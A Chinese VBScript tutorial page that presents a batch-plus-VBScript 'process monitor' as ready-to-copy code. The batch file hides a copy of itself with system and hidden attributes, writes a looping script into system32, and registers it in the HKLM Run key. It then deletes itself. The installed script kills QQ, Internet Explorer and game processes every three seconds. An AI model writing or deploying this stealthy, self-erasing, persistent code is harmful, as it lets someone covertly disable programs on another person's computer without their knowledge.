当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 进程监控实现代码[vbs+bat]

VBScript
用vbscript得到注册表中是否存在某个值
用vbscript实现修改屏幕保护的等待时间长度
用vbscript实现在消息框中显示一个超链接
用vbscript实现将脚本的输出复制到剪贴板
视频转换大师WinMPG Video Convert 6.63
用vbs实现取消隐藏文件夹中的所有文件
用vbscript实现从文本文件中删除所有重复行的代码
用vbscript实现在文本文件中搜索两个项
用vbscript实现启用 Caps Lock (大写)键
vbscript和javascript版的15位, 18位的身份证号码的验证函数.以及根据身份证取省份,生日,性别
发老兵及海洋VBS解包工具代码
把vbscript发挥到它的极限应用之一(数组)!!!
VBScript:Join 函数一个不太常用,却很有用的函数
最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法
用vbscript脚本实现返回 IP 配置数据的代码
用vbs实现配置静态 IP 地址
用vbs得到计算机的 IP 地址
用vbs实现枚举网络连接的代码
IIS管理脚本之adsutil.vbs的使用说明
用VBS修改IIS Metabase的代码

VBScript 中的 进程监控实现代码[vbs+bat]


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2010-01-10   浏览: 513 ::
收藏到网摘: n/a

这是用BAT写的,主体是VBS,所以放在VBS分类了 运行后会在%windir%\system32\目录下生成jk.vbs,
并且自动添加注册表启动项,另外在D:\会生成一个隐藏属性的JK.VBS,
3秒间隔监控进程,如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。
复制代码 代码如下:

@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul
echo Do>>%windir%\system32\jk.vbs
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs
echo strComputer = "." >>%windir%\system32\jk.vbs
echo Set objWMIService = GetObject("winmgmts:\\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs
echo Set colItems = objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs
echo For Each objItem in colItems >>%windir%\system32\jk.vbs
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs
echo Next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q